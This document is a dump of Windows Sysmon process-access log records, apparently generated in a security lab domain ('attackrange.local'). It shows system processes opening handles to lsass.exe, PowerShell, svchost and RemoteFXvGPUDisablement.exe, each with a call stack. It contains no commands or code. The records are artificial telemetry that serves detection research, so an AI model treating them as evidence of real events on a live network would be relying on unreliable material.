10341000x8000000000000000987Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:21.059{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000986Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:21.059{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000985Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:20.762{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1900-000000007F01}2144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000984Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:20.762{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1800-000000007F01}2096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000983Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.981{A5F018FF-28BF-5F80-1B00-000000007F01}21642444C:\Windows\system32\conhost.exe{A5F018FF-28BF-5F80-1900-000000007F01}2144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000982Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.981{A5F018FF-28BF-5F80-2100-000000007F01}24122452C:\Windows\system32\conhost.exe{A5F018FF-28BF-5F80-1C00-000000007F01}2172C:\Windows\System32\RemoteFXvGPUDisablement.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000981Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.981{A5F018FF-28BF-5F80-1A00-000000007F01}21522448C:\Windows\system32\conhost.exe{A5F018FF-28BF-5F80-1800-000000007F01}2096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000980Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.981{A5F018FF-28BF-5F80-1F00-000000007F01}22442456C:\Windows\system32\conhost.exe{A5F018FF-28BF-5F80-1E00-000000007F01}2232C:\Windows\system32\compattelrunner.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000979Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.934{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-2000-000000007F01}2344C:\Windows\system32\svchost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000978Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.934{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-2000-000000007F01}2344C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000977Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.872{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}2412C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000976Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000975Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000974Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000973Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000972Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000971Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000970Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000969Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000968Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000967Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000966Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000965Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000964Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.825{A5F018FF-28BD-5F80-0A00-000000007F01}8521620C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-2000-000000007F01}2344C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000963Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.809{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28BF-5F80-2000-000000007F01}2344C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000962Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.809{A5F018FF-28BD-5F80-0A00-000000007F01}852944C:\Windows\system32\services.exe{A5F018FF-28BF-5F80-2000-000000007F01}2344C:\Windows\system32\svchost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|C:\Windows\system32\services.exe+12939|C:\Windows\system32\services.exe+66f4|C:\Windows\system32\services.exe+5154|C:\Windows\system32\services.exe+d608|C:\Windows\system32\services.exe+4c6c|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000961Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.809{A5F018FF-28BE-5F80-0C00-000000007F01}604616C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000960Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 